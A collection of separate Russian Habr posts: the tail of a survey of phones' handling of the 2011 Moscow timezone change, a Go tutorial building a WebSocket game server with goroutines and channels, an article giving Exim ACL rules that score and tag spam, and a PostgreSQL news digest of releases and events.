* HTC Desire Z — последнее обновление (2.42.205.2, Android 2.3.3) — все плохо (проверил [AlexeyRU](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320805))
* HTC Desire Z — с последней прошивкой MIUI (1.10.07) — все плохо (проверил [NoOne](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320891))
* HTC Desire HD — последняя официальная прошивка (2.50.405.2, Andriod 2.3.3) — все плохо (проверил [dolgonosic](http://habrahabr.ru/blogs/sysadm/130363/#comment_4337394))
* HTC Legend — сборка 3.15.405.3 CL291292 (Android 2.2) — все плохо (проверил [ihoru](http://habrahabr.ru/blogs/sysadm/130363/#comment_4339394))
* HTC Wildfire S — с прошивкой 1.33.401.2, Android 2.3.3 — все плохо (проверил [Wildy](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320974))
* LG Optimus One — с прошивкой LG-P500-v20C, Android 2.3.3 — все плохо (проверил [ChemAli](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320820))
* LG Optimus One — с прошивкой LG-P500-v20D, Android 2.3.3 — все плохо (проверил [Nikolaich](http://habrahabr.ru/blogs/sysadm/130363/#comment_4324967))
* Motorola Milestone — последняя официальная прошивка (2.1-update1, Android 2.1) — все плохо
* Samsung Galaxy S II — прошивка на Android 2.3.3, все плохо (проверил [aim](http://habrahabr.ru/blogs/sysadm/130363/#comment_4331503))
* Samsung Galaxy Ace — последняя прошивка S5830XXKPO, Android 2.3.5 — все хорошо (проверил [Bytamine](http://habrahabr.ru/blogs/sysadm/130363/#comment_4343881))
**Как проверить:** можно просто установить любую дату из зимы 2011-2012 и увидеть, переключилась ли зона на «Moscow Standard Time» или нет; вот пример «плохого» поведения:
### Maemo
Телефоны на базе Maemo обладают архитектурой, весьма близкой к стандартным GNU/Linux — т.е. имеют `/usr/share/zoneinfo`, аналогичный пакет с tzdata и т.д. Проверенные варианты (спасибо [wholeman](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320829)):
* Maemo5 (AKA Fremantle), Nokia N900 — все плохо
* Maemo6 (AKA MeeGo 1.2 Harmattan), Nokia N9/N950 — все в порядке
**Как проверить:** для устройств с busybox'ом можно воспользоваться командой `date -d 12221931.30 +%s` и сравнивать результат с `1324567890`.
### Symbian
Скорее всего, проблемными будут практически все аппараты, т.к. апдейтов прошивок из-за такой «мелочи» скорее всего не будет:
* Symbian Anna, Nokia E7 — проблема есть (проверял [wholeman](http://habrahabr.ru/blogs/sysadm/130363/#comment_4320829))
**Как проверить:** аналогично Android, можно зайти в «Параметры → Телефон → Время и дата», переставить дату на что-нибудь из зимы 2011 и посмотреть, изменится ли часовой пояс на «GMT +3.00 Москва»:
Если изменится — то да, проблема есть.
---
Так как тема эта в целом весьма обширная, поэтому прошу помощи хабрасообщества в проверке всего, до чего можно дотянуться, чтобы создать своего рода справочник: что уже обновлено, что можно обновить (и в каких именно обновлениях этот патч накладывается), что ломается, а что нет — в частности, как с этим обстоят дела в тех системах и средах, где у меня не добрались руки проверить: различные версии Windows, Mac OS X / Classic, различные версии/прошивки Symbian, Android, iOS, MeeGo, Windows Mobile/Phone 7, Nabaztag, Playstation/XBox, Perl, PHP, Ruby, Python, SQL-базы и т.д. | https://habr.com/ru/post/130363/ | null | ru | null |
# Делаем многопользовательскую игрy на Go и WebSocket'ах
Продолжаем [знакомство](http://habrahabr.ru/post/219459/) с языком программирования Go (golang). В прошлый раз мы посмотрели основные конструкции языка. В этой статье я хочу показать использование горутин и каналов. И, конечно, продемонстрировать все это на реальном приложении, в данноcм случае многопользовательской игре. Рассматривать будем не всю игру, а только ту часть бэкэнда, которая отвечает за сетевое взаимодействие между игроками посредством WebSoket.
Игра пошаговая, для двух игроков. Однако, описанные ниже приемы можно применять для создания других игр, от покера до стратегий.
Кстати, это моя первая игра и первая работа с WebSoket'ами, так что не судите строго. Если у вас есть замечания и обоснованная критика, с удовольствием выслушаю.
Алгоритм следующий. Игроки подключаются к игровой комнате (room). При поступлении нового хода от игрока, комната извещается об этом (через канал) и вызвает специальный метод «обновить игровое состояние» на всех игроках, зарегистрированных в комнате. Все довольно просто.
Схематично это можно изобразить так:
Общение с игроком происходит через объект-прослойку «соединение» (на рис. pConn1, pConn2), который расширяет тип Player (встраивая его в себя) и добавляет методы для коммуникации.
Кстати, я буду иногда употреблять слово «объект» как обозначение некоторой сущности, а не в смысле ООП объекта (т.к. в go они немного отличаются).
Рассмотрим структуру проекта:
```
/wsgame/
/game/
game.go
/templates/
/utils/
utils.go
main.go
conn.go
room.go
```
В корневых файлах (пакет main) реализованно наше сетевое взаимодействие.
В пакете /game/ лежит сам движок игры. Его мы рассматривать не будем, тут я приведу лишь несколько методов, в виде mock'ов, которые нужны для управления игрой.
#### Игра
**/game/game.go**
```
package game
import (
"log"
)
type Player struct {
Name string
Enemy *Player
}
func NewPlayer(name string) *Player {
player := &Player{Name: name}
return player
}
func PairPlayers(p1 *Player, p2 *Player) {
p1.Enemy, p2.Enemy = p2, p1
}
func (p *Player) Command(command string) {
log.Print("Command: '", command, "' received by player: ", p.Name)
}
func (p *Player) GetState() string {
return "Game state for Player: " + p.Name
}
func (p *Player) GiveUp() {
log.Print("Player gave up: ", p.Name)
}
```
У игрока (Player) есть враг, такой же игрок (в нашей структуре это указатель \*Player). Для соединения игроков служит функция PairPlayers. Далее, тут представлены некоторые функции, нужные для управления игрой. Здесь они ничего не делают, только выводят сообщение в консоль. Command — послать команду (сделать ход); GetState — получить текущее состояние игры для данного игрока; GiveUp — сдаться и присвоить победу противнику.
UPD: Впоследствии оказалось, что иметь только одну структуру Player для игры не очень удобно. Лучше сделать структуру Game, к которой подключать игроков. Но это уже другая история.
#### Main
**main.go**
```
package main
import (
"github.com/alehano/wsgame/game"
"github.com/gorilla/websocket"
"html/template"
"log"
"net/http"
"net/url"
)
const (
ADDR string = ":8080"
)
func homeHandler(c http.ResponseWriter, r *http.Request) {
var homeTempl = template.Must(template.ParseFiles("templates/home.html"))
data := struct {
Host string
RoomsCount int
}{r.Host, roomsCount}
homeTempl.Execute(c, data)
}
func wsHandler(w http.ResponseWriter, r *http.Request) {
ws, err := websocket.Upgrade(w, r, nil, 1024, 1024)
if _, ok := err.(websocket.HandshakeError); ok {
http.Error(w, "Not a websocket handshake", 400)
return
} else if err != nil {
return
}
playerName := "Player"
params, _ := url.ParseQuery(r.URL.RawQuery)
if len(params["name"]) > 0 {
playerName = params["name"][0]
}
// Get or create a room
var room *room
if len(freeRooms) > 0 {
for _, r := range freeRooms {
room = r
break
}
} else {
room = NewRoom("")
}
// Create Player and Conn
player := game.NewPlayer(playerName)
pConn := NewPlayerConn(ws, player, room)
// Join Player to room
room.join <- pConn
log.Printf("Player: %s has joined to room: %s", pConn.Name, room.name)
}
func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/ws", wsHandler)
http.HandleFunc("/static/", func(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, r.URL.Path[1:])
})
if err := http.ListenAndServe(ADDR, nil); err != nil {
log.Fatal("ListenAndServe:", err)
}
}
```
Этот входная точка в программу. Функция main() запускает сервер и регистрирует два обработчика: homeHandler для главной страницы, который лишь выводит шаблон home.html и более интересный wsHandler, который устанавливает WebSocket соединение и регистрирует игрока.
Для WebSocket мы используем пакет из набора Gorilla Toolkit («github.com/gorilla/websocket»). В начале мы создаем новое соединение (ws). Далее, получаем имя игрока из параметра URL. Затем, ищем свободную комнату (с одним игроком). Если комнаты нет, то создаем ее. После этого, создаем игрока и объект соединения для игрока (pConn). Передаем в соединение наш вебсокет, игрока и комнату. Точнее, передаем указатели на эти объекты. И последним шагом подключаем наше соединение к комнате. Делается это посылкой нашего объекта в канал join комнаты.
##### Горутины и каналы
Небольшой ликбез про горутины и каналы. Горутины — это что-то вроде потоков, они выполняются параллельно. Достаточно поставить оператор go перед вызовом функции и программа не будет ждать пока функция завершится, а сразу перейдет к следующей инструкции. Горутины очень легковесны, не требовательны к памяти. Общение с горутинами происходит через каналы — специальный тип данных. Каналы похожи на pipe в Unix. Можно представлять каналы как трубу: в один конец мы кладем что-то, из другого получаем. Тип канала может быть любой. Например, можно создать канал string и передавать в него сообщения. Возможно даже создать канал каналов. We need to go deeper.
Небольшой пример. Запустить можно тут <http://play.golang.org/p/QUc458nBJY>
Представьте, что вы хотите отправить одинаковый запрос на несколько серверов и получить ответ от того, кто быстрее ответит. И не хотите ждать остальных. Сделат это можно так:
```
package main
import "fmt"
func getDataFromServer(resultCh chan string, serverName string) {
resultCh <- "Data from server: " + serverName
}
func main() {
res := make(chan string, 3)
go getDataFromServer(res, "Server1")
go getDataFromServer(res, "Server2")
go getDataFromServer(res, "Server3")
data := <- res
fmt.Println(data)
}
```
Мы создаем канал res, куда будем получать ответ. А затем, в отдельных горутинах, запускаем запросы к серверам. Операция не блокирующая, поэтому после строки с оператором go программа переходит на следующую строку. Далле, программа блокируется на строке `data := <- res`, ожидая ответа из канала. Как только ответ будет получен, мы выводим его на экран и программа завершается. В данном синтетическом примере будет возвращаться ответ от Server1. Но в жизни, когда выполнение запроса может занимать разное время, будет возвращен ответ от самого быстрого сервера.
UPD: Цифра 3 в создании канала, указыавет что канал буферизированный, размером 3. Это значит, что при отправке в канал (если есть свободные места), не нужно ждать пока кто-нибудь примет данные. В данном случае этого можно было не делать, т.к. программа все-равно завершается. Но, если бы это был, например, веб-сайт, который работает постоянно, и канал был бы не буферизированный, две из трех горутин зависли бы, ожидая приема на другом конце.
Итак, вернемся к нашим баранам.
#### Соединение
**conn.go**
```
package main
import (
"github.com/alehano/wsgame/game"
"github.com/gorilla/websocket"
)
type playerConn struct {
ws *websocket.Conn
*game.Player
room *room
}
// Receive msg from ws in goroutine
func (pc *playerConn) receiver() {
for {
_, command, err := pc.ws.ReadMessage()
if err != nil {
break
}
// execute a command
pc.Command(string(command))
// update all conn
pc.room.updateAll <- true
}
pc.room.leave <- pc
pc.ws.Close()
}
func (pc *playerConn) sendState() {
go func() {
msg := pc.GetState()
err := pc.ws.WriteMessage(websocket.TextMessage, []byte(msg))
if err != nil {
pc.room.leave <- pc
pc.ws.Close()
}
}()
}
func NewPlayerConn(ws *websocket.Conn, player *game.Player, room *room) *playerConn {
pc := &playerConn{ws, player, room}
go pc.receiver()
return pc
}
```
Что же представляет собой прослойка-соединение? Это объект playerConn, который содержит указатели: на вебсокет, на игрока и на комнату. В случае игрока, мы написали просто \*game.Player. Это значит, что мы «встраиваем» Player и можем вызывать его методы прямо на playerConn. Что-то вроде наследования. При создании нового соединения (NewPlayerConn) запускается метод receiver в отдельной горутине (оператор go), т.е. параллельно (не блокирующим образом) и в бесконечном цикле слушает вебсокет на предмет сообщений. При получении оного, оно передается игроку в метод Command (сделать ход). А потом отправляет в комнату сигнал «обновить состояние игры для всех игроков». При возникновении ошибки (например разрыве вебсокета), горутина выходит из цикла, посылает в канал комнаты сигнал «сдаться», закрывает вебсокет и завершается.
Методом sendState() мы посылаем текущее состояние игры данному игроку.
#### Комната
**room.go**
```
package main
import (
"github.com/alehano/wsgame/game"
"github.com/alehano/wsgame/utils"
"log"
)
var allRooms = make(map[string]*room)
var freeRooms = make(map[string]*room)
var roomsCount int
type room struct {
name string
// Registered connections.
playerConns map[*playerConn]bool
// Update state for all conn.
updateAll chan bool
// Register requests from the connections.
join chan *playerConn
// Unregister requests from connections.
leave chan *playerConn
}
// Run the room in goroutine
func (r *room) run() {
for {
select {
case c := <-r.join:
r.playerConns[c] = true
r.updateAllPlayers()
// if room is full - delete from freeRooms
if len(r.playerConns) == 2 {
delete(freeRooms, r.name)
// pair players
var p []*game.Player
for k, _ := range r.playerConns {
p = append(p, k.Player)
}
game.PairPlayers(p[0], p[1])
}
case c := <-r.leave:
c.GiveUp()
r.updateAllPlayers()
delete(r.playerConns, c)
if len(r.playerConns) == 0 {
goto Exit
}
case <-r.updateAll:
r.updateAllPlayers()
}
}
Exit:
// delete room
delete(allRooms, r.name)
delete(freeRooms, r.name)
roomsCount -= 1
log.Print("Room closed:", r.name)
}
func (r *room) updateAllPlayers() {
for c := range r.playerConns {
c.sendState()
}
}
func NewRoom(name string) *room {
if name == "" {
name = utils.RandString(16)
}
room := &room{
name: name,
playerConns: make(map[*playerConn]bool),
updateAll: make(chan bool),
join: make(chan *playerConn),
leave: make(chan *playerConn),
}
allRooms[name] = room
freeRooms[name] = room
// run room
go room.run()
roomsCount += 1
return room
}
```
Последняя часть — комната. Мы создаем несколько глобальных переменных: allRooms — список всех созданных комнат, freeRooms — комнаты с одним игроком (по идее, не должно быть больше одной), roomsCount — счетчик работающих комнат.
Объект room содержит имя комнаты, playerConns — список подключенных соединений (игроков) и несколько каналов для управления. Каналы могут иметь разный тип, это то, что можно отправить в канал и принять из него. Например, кнал updateAll содержит булево значение и служит только для извещения нужно ли обновлять состояние игры. Нам не важно что в него передается мы лишь реагируем на его срабатывание. Правда, хорошей практикой считается в таком случае использовать пустую структуру struct{}. А вот в канал join передается конкретное соединение (точнее указатель на него). Его мы сохраняем в нашей комнате в playerConns в качестве ключа структуры map.
При создании новой комнаты посредством NewRoom(), мы инициализируем каналы и запускаем метод run() в горутине (go room.run()). Он выполняет бесконечный цикл, который слушает одновременно несколько каналов и, при получении сообщения в любом из них, выполняет определенные действия. Прослушивание нескольких кналов реализуется с помощью конструкции select-case. В данном случае операция блокирующая. Т.е. мы будем ждать пока из какого-либо канала не придет сообщение, затем перейдем на следующую итерацию цикла и опять будем ждать. Но, если бы в конструкции select была бы секция default:, тогда операция была бы не блокирующей и при отсутствии сообщений выполнялся бы блок default, а затем выход из select. В данном случае это бессмысленно, но возможность такая есть.
Если срабатывает канал join, мы регистрируем данное соединение (игрока) в комнате. Если подключается второй игрок, мы «спариваем» игроков и удаляем комнату из списка свободных. При срабатывании leave, удаляем соединение, и выполняем метод «сдаться» у игрока. А если в комнате не осталось игроков len(r.playerConns) == 0, то вообще закрываем комнату, выйдя из цикла (goto Exit). Да, в языке go есть инструкция goto. Но не пугайтесь, она используется крайне редко, и только для того чтобы выйти из структур типа for или select. Например, для выхода из вложенного цикла. В данном случае, если поставить break, он прервет конструкцию select, а не цикл for.
Ну и, наконец, при срабатывании канала updateAll (передаваемое значение нам не важно, поэтому мы его никуда не сохраняем: case <-r.updateAll), у всех зарегистрированных в комнате игроков вызывается метод «обновить состояние игры».
Вот и вся сетевая часть. В реальном проекте она стала немного сложнее. Добавились каналы отвечающие за чат и таймер, а так же, добавилась некая структура запроса-ответа (на оснве JSON).
Имея такой бэкэнд, довольно просто сделать клиенты на разных устройствах. Я решил сделать клиент на HTML5 для кроссплатформенности. Хотя, в iOS игра постоянно вылетает. Видно, поддержка websocket реализована не полностью.
Спасибо за внимание. Программируйте на Go, это весело.
**Ссылки:**
* Файлы на GitHub и демо игры: <https://github.com/alehano/wsgame> | https://habr.com/ru/post/226469/ | null | ru | null |
# Боремся со спамом стандартными средствами почтовика (на примере Exim)
Регулярно натыкаюсь на статьи про прикручивание к почтовикам антиспамовских систем (например spamassassin и подобных). Каждый раз, смотря на эти связки и кучу проблем которые они приносят, «пожимаю плечами» и искренно не понимаю зачем все это? Спам можно очень эффективно рубить непосредственно силами почтовика, без привлечения сторонних программ, некоторые из которых еще и требуют длительного обучения (насколько я знаю, но могу и ошибаться — не использую я их).
Метод отлова спама, который я опишу в этой статье, дает эффективность, примерно 97%. Он опробован на 10-ке серверов, и работает уже как минимум лет семь.
Все примеры конфигурации буду приводить для почтового сервера exim, собранного с поддержкой mysql. Но перевести их на тот-же postfix не составит особого труда.
Пользователи храняться в БД. Дабы не загромождать статью структура БД в приложенном файле ([ссылка](http://allmatiz.com/habr/no_spam.zip)). Структура взята от ранних версий postfixadmin. Дабы было удобно админить пользователей.
Для начала инициализируем несколько переменных, которые будут использоваться в наших проверках почты. Названия переменных достаточно «говорящие».
```
domainlist local_domains = ${lookup mysql{SELECT `domain` FROM `domain` WHERE `domain`='${domain}' AND `active`='1'}}
domainlist relay_to_domains = ${lookup mysql{SELECT `domain` FROM `domain` WHERE `domain`='${domain}' AND `active`='1'}}
```
Указываем почтовику правила по которым будет проверяться почта
```
acl_smtp_rcpt = acl_check_rcpt
acl_smtp_data = acl_check_data
```
Заголовки и текст письма непосредственно.
Ну а теперь начнем проверять нашу почту. Начинаем с заголовков.
```
acl_check_rcpt:
# принимать сообщения которые пришли с локалхоста, не по TCP/IP
accept hosts = :
# Запрещаем письма содержащие в локальной части символы @; %; !; /; |.
deny message = "Incorrect symbol in address"
domains = +local_domains
local_parts = ^[.] : ^.*[@%!/|]
# Проверяем недопустимые символы для нелокальных получателей:
deny message = "Incorrect symbol in address"
domains = !+local_domains
local_parts = ^[./|] : ^.*[@%!] : ^.*/\\.\\./
# Принимаем почту для постмастеров локальных доменов без проверки отправителя
accept local_parts = postmaster
domains = +local_domains
# Запрещщаем, если невозможно проверить отправителя (отсутствует в списке локальных пользователей)
require verify = sender
# Запрещщаем тех, кто не обменивается приветственными сообщениями (HELO/EHLO)
deny message = "HELO/EHLO require by SMTP RFC"
condition = ${if eq{$sender_helo_name}{}{yes}{no}}
# Принимаем сообщения от тех, кто аутентифицировался
accept authenticated = *
# Отрубаем тех, кто подставляет свой IP в HELO
deny message = "Your IP in HELO - access denied!"
# все хосты кроме тех, что в relay_from_hosts
hosts = * : !+relay_from_hosts
condition = ${if eq{$sender_helo_name}{$sender_host_address} \
{true}{false}}
# Рубаем хосты типа *adsl*; *dialup*; *pool*;....
deny message = "your hostname is bad (adsl, poll, ppp & etc)."
condition = ${if match{$sender_host_name} \
{adsl|dialup|pool|peer|dhcp} \
{yes}{no}}
# Рубаем тех, кто в блэк-листах.
deny message = "you in blacklist - $dnslist_domain"
hosts = !+relay_from_hosts
dnslists = dul.dnsbl.sorbs.net : \
sbl-xbl.spamhaus.org
# Начинаем подсчет очков спама для письма. Вес каждого параметра подбирался экспериментально.
warn set acl_m0 = 0
logwrite = "ACL m0 set default as $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name (domain in e-mail = $sender_address_domain)"
# наличие в теме слова Vigra, ранее было очень актуально, сейчас данное правило уже устарело
# 200 очков
warn condition = ${if match{$h_subject} \
{viagra} \
{yes}{no}}
set acl_m0 = ${eval:$acl_m0+200}
logwrite = "STAGE0: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name - VIAGRA!!!!"
# Проверяем соответствие HELO и обратной записи DNS - на правильном почтовике они должны совпадать
# 30 очков
warn condition = ${if !eq{$sender_helo_name}{$sender_host_name}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+30}
logwrite = "STAGE1: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name - reverse zone not match with HELO"
# Проверяем наличие обратной зоны для хоста
# 30 очков
warn condition = ${if eq{$host_lookup_failed}{1}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+30}
logwrite = "STAGE2: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name - no reverse zone for host"
# Проверяем число точек и дефисов в доменном имени. Если больше 4-х уже такой домен вызывает подозрение
# 40 очков
warn condition = ${if match{$sender_host_name} \
{\N((?>\w+[\.|\-]){4,})\N}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+40}
logwrite = "STAGE3: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name - more dots or defice in name"
# Проверяем общую длину адреса отправителя. Больше 30 символов вызывает подозрение
# 10 очков
warn condition = ${if >{${strlen:$sender_address}}{30}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+10}
logwrite = STAGE4: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with HELO=$sender_helo_name \
- many big sender address [$sender_address]
# Очки за диалап в имени хоста. В данном правиле используется файлик со списком масок. Честно, за давностью лет, не помню где его взял
# Его Вы можете найти в архиве с БД, ссылка на которую приведена в начале статьи
# 60 очков
warn condition = ${lookup{$sender_host_name} \
wildlsearch{/usr/local/etc/exim/dialup_hosts} \
{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+60}
logwrite = "STAGE5: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
host=$sender_helo_name - dialup, ppp & etc..."
# Очки за диалап в HELO
# 60 очков
warn condition = ${lookup{$sender_helo_name} \
wildlsearch{/usr/local/etc/exim/dialup_hosts} \
{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+60}
logwrite = "STAGE6: ACL m0 set = $acl_m0 for \
host=$sender_host_name [$sender_host_address] with \
HELO=$sender_helo_name - dialup, ppp & etc..."
# Проверяем есть ли зона первого уровня из HELO
# 150 очков
warn condition = ${if !eq{${lookup mysql{SELECT 1 FROM \
`list_top_level_domains` WHERE `zone` = \
LCASE(CONCAT('.', SUBSTRING_INDEX( \
'${quote_mysql:$sender_helo_name}', \
'.', -1)))}}}{1}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m0 = ${eval:$acl_m0+150}
logwrite = non-existent domain in HELO - \
'$sender_helo_name' setting acl_m0 = $acl_m0
warn set acl_m2 = 0
# Проверяем, не было ли письма на этот адрес от наших пользователей.
# Тут же заполняем whitelist если письмо от нашего локального отправителя
warn condition = ${if eq{${lookup mysql{SELECT 1 FROM `sended_list` \
WHERE `user_to` = \
LCASE('${quote_mysql:$sender_address}') \
AND `user_from` \
= LCASE('${quote_mysql:$local_part@$domain}') \
AND `last_mail_timestamp` < `last_mail_timestamp` \
+ (60*24*60*60) LIMIT 1}}}{1}{yes}{no}}
condition = ${lookup mysql{INSERT IGNORE INTO `domain_whitelist` \
(`domainname`, `domain_ip`, `added_timestamp`, \
`last_mail_timestamp`, `mail_count`) VALUES \
(LCASE('${quote_mysql:$sender_address_domain}'), \
'${quote_mysql:$sender_host_address}', \
UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), '1') \
ON DUPLICATE KEY UPDATE \
`last_mail_timestamp` = UNIX_TIMESTAMP(), \
`mail_count` = `mail_count` + 1}}
hosts = !+relay_from_hosts : *
set acl_m2 = 1
logwrite = STAGE7: $sender_address ==> $local_part@$domain; \
setting acl_m2 = $acl_m2; WHITELIST for this addresses
# Проверка наличия домена в whitelist
warn condition = ${if eq{${lookup mysql{SELECT 1 \
FROM `domain_whitelist` \
WHERE `domain_ip` = \
'${quote_mysql:$sender_host_address}' \
LIMIT 1}}}{1}{yes}{no}}
hosts = !+relay_from_hosts : *
set acl_m2 = 1
logwrite = STAGE8: $sender_address ==> $local_part@$domain; \
setting acl_m2 = $acl_m2; WHITELIST for ALL domains
# Сбрасываем переменную с очками спама если домен в whitelist или наши пользователи общались с данным респондентом
warn condition = ${if eq{$acl_m2}{1}{yes}{no}}
logwrite = Resetting acl_m0 $acl_m0 --> 0, host in whitelist \
($sender_address ==> $local_part@$domain)
set acl_m0 = 0
# Проверка получателя в локальных доменах. Если не проходит, то проверяется следующий ACL
accept domains = +local_domains
endpass
message = "In my mailserver not stored this user"
verify = recipient
# Проверяем получателя в релейных доменах
accept domains = +relay_to_domains
endpass
message = "main server not know relay to this address"
verify = recipient
# Разрешаем почту от доменов в списке relay_from_hosts
accept hosts = +relay_from_hosts
# Если неподошло ни одно правило - явно ищут открытый релей
deny message = "This is not open relay"
```
Теперь перейдем к проверке тела письма.
```
acl_check_data:
deny message = contains $found_extension file (blacklisted).
demime = com:vbs:bat:pif:scr:exe
deny message = This message contains a MIME error ($demime_reason)
demime = *
condition = ${if >{$demime_errorlevel}{2}{1}{0}}
deny message = This message contains NUL characters
log_message = NUL characters!
condition = ${if >{$body_zerocount}{0}{1}{0}}
deny message = Incorrect headers syntax
hosts = !+relay_from_hosts:*
!verify = header_syntax
# Здесь можем отклонить почту по подсчитанным ранее очкам спама. При сумме очков более 99, считаем, что это спам.
# Но, как показала практика, после раскоментирования следующих строчек, юзеры начинают очень нервничать и
# переживать - а работает ли вообще у нас почта, и где любимый спам по утрам :) А потому далее мы используем эти
# очки немного по другому
#deny message = Possible SPAM message
# log_message = Possible SPAM message
# condition = ${if >{$acl_m0}{99}{yes}{no}}
# Пропускаем остальное
accept
```
В exim есть механизм system filter. Вот туда и добавляем
```
if $acl_m0 matches ^\\d+
then
logwrite "FILTER: debug - digit in variable acl_m0 = $acl_m0 (after first if)"
if $acl_m0 is above 99
then
headers add "X-Spam-Description: if spam count >= 100 - this is spam"
headers add "X-Spam-Count: $acl_m0"
headers add "Old-Subject: $h_subject:"
headers remove "Subject"
headers add "Subject: (*** SPAM ***) $h_old-subject:"
headers add "X-Spam: YES"
logwrite "EXIM FILTER: Spam count = $acl_m0 ; Added SPAM header"
endif
endif
```
Т.е. мы в начало темы письма вставляем сточку "(\*\*\* SPAM \*\*\*)", по которой клиенты пользователей уже отсортировуют спам.
Как видите набор правил не велик, но позволяет эффективно отфильтровывать спам, при этом не ставя никаких дополнительных систем. Конечно есть вероятность ложных срабатываний, но после первого же письма от нашего пользователя к тому, которого случайно включили в спам, и он попадает в whitelist.
Повторюсь, по моим наблюдениям, такие достаточно простые правила не пропускают где-то 97% спама. | https://habr.com/ru/post/179833/ | null | ru | null |
# Дайджест новостей из мира PostgreSQL. Выпуск №6
*Мы продолжаем знакомить вас с самыми интересными новостями по PostgreSQL.*
Релизы
------
**PostgreSQL 11 Beta**
Релизная команда PostgreSQL [определилась](https://www.postgresql.org/message-id/12B4300D-2171-4690-A020-E9852797F478%40excoventures.com) с датой выпуска бета-версии: 24 мая 2018.
**Вышел PostgreSQL 10.4**
В отличие от версии 10.3, которая была внеплановой (нужно было срочно закрыть важные дыры в безопасности), эта версия вышла в соответствии с [графиком](https://www.postgresql.org/developer/roadmap/).
В новой версии [много поправок](https://www.postgresql.org/docs/10/static/release-10-4.html#id-1.11.6.5.5). Из заплаток, привлекших внимание: излишне либеральный доступ (`ACL`) к функции `pg_logfile_rotate()`; ослаблены блокировки во время планирования фоновых процессов автовакуума, которые сильно мешали распараллельнию работы. Вместе с 10.4 вышли [обновления](https://www.postgresql.org/about/news/1851/) 9.6.9, 9.5.13, 9.4.18, 9.3.23.
**BDR 3.0**
Появились некоторые подробности. Версию 3.0 **2ndQuadrant** [позиционирует](https://www.2ndquadrant.com/en/resources/postgres-bdr-2ndquadrant/) как BDR нового поколения, радикальный технологический сдвиг. В конфигурации высокой доступности рекомендуется строить глобальный мульти-мастер (на основе логической репликации) с подстраховывающими локально репликами (на основе физической репликации).
Появился режим «теневого мастера» (Shadow Master): в случае падения ведущего сервера, можно переключить реплику в режим мастера практически без задержки.
Кластеры можно теперь апгрейдить без остановки (Rolling updates).
BDR 3.0 предлагается использовать в шардинге по географическому принципу.
BDR 3.0, однако, не обеспечивает глобальную транзакционную целостность.
**PyGreSQL 5.0.5**, [коннектор](http://www.pygresql.org/contents/changelog.html) Python к PostgreSQL. Новая версия официально поддерживает PostgreSQL 10.
**pg\_chameleon 2.0.6**
Новая версия [утилиты](https://pypi.python.org/pypi/pg_chameleon) для репликации из MySQL в PostgreSQL, реализованная на Python 3.
**repmgr 4.0.5**
В новой версии этой [утилиты](https://repmgr.org/docs/4.0/release-4.0.5.html) репликации от **2ndQuadrant** пользоваться `pg_rewind` удобней, улучшена генерация `recovery.conf`, ну и, конечно, исправлены ошибки предыдущих версий.
Курсы
-----
*П.Лузанов* и *Е.Рогов* (**Postgres Professional**) 21-24 мая будут читать курс **DEV1** «Разработка серверной части приложений PostgreSQL. Базовый курс» во **Владивостоке**.
Регистрация [здесь](https://leader-id.ru/event/7366/).
28-31 мая курсы переезжают в **Хабаровск**. Регистрация [здесь](https://devdv.ru/postgresql.html).
Конференции и митапы
--------------------
**DevConf 2018**
Конференция веб-разработчиков [пройдет](https://devconf.ru/ru) 18 мая в Digital October. В [программе](https://devconf.ru/ru/schedule#backend) есть доклады о PostgreSQL: [Логическая репликация в PostgreSQL](https://devconf.ru/ru/offers/offer/364) — *Иван Панченко* (Postgres Professional)
Будет и **Круглый стол по базам данных**.
**Новые возможности PostgreSQL 11**
Этот митап [пройдет](https://postgrespro.ru/events/850044) 23 мая на площадке Райффайзенбанка в Нагатино. Соорганизатор Postgres Professional.
**PGCon 2018**
[пройдет](https://www.pgcon.org/2018/) **в Оттаве** 29 мая — 1 июня.
**Swiss PGDay 2018**
[пройдет](http://www.pgday.ch/2018/) **в Рапперсвиле**, недалеко от Цюриха 29 июня. Регистрация до 28 мая.
**PGConf.Brazil 2018**
[произойдет](http://pgconf.com.br) в **Сан Паулу** 3-4 августа.
**PGDay 2018, Portland**
*Portland PostgreSQL Users Group* [проведет](https://pdx.postgresql.us/pdxpgday2018) PGDay 10 сентября в Портланде (штат Орегон). Предложения присылать [сюда](https://goo.gl/forms/E0CiUQGSZGMYwh922).
Награды
-------
Один из ключевых разработчиков PostgreSQL, *Магнус Хагандер*, удостоился **Nordic Free Software Award 2018**. Материальное выражение награды — красивый стакан.
Статьи и блоги
--------------
**PostgreSQL Data Types: [ENUM](https://tapoueh.org/blog/2018/05/postgresql-data-types-enum/)**
**PostgreSQL Data Types: [JSON](https://tapoueh.org/blog/2018/04/postgresql-data-types-json/)**
Продолжение сериала Димитри Фонтейна (Dimitri Fontaine) о типах данных в PostgreSQL. В статье про ENUM Димитрий напоминает о причинах появления этого типа в PostgreSQL и дает советы, когда им пользоваться. В статье про `JSON` он рассматривает JSON и JSONB, возможные юзкейсы с ними для PostgreSQL.
**Что нового в PostgreSQL 11: улучшения в кастинге**
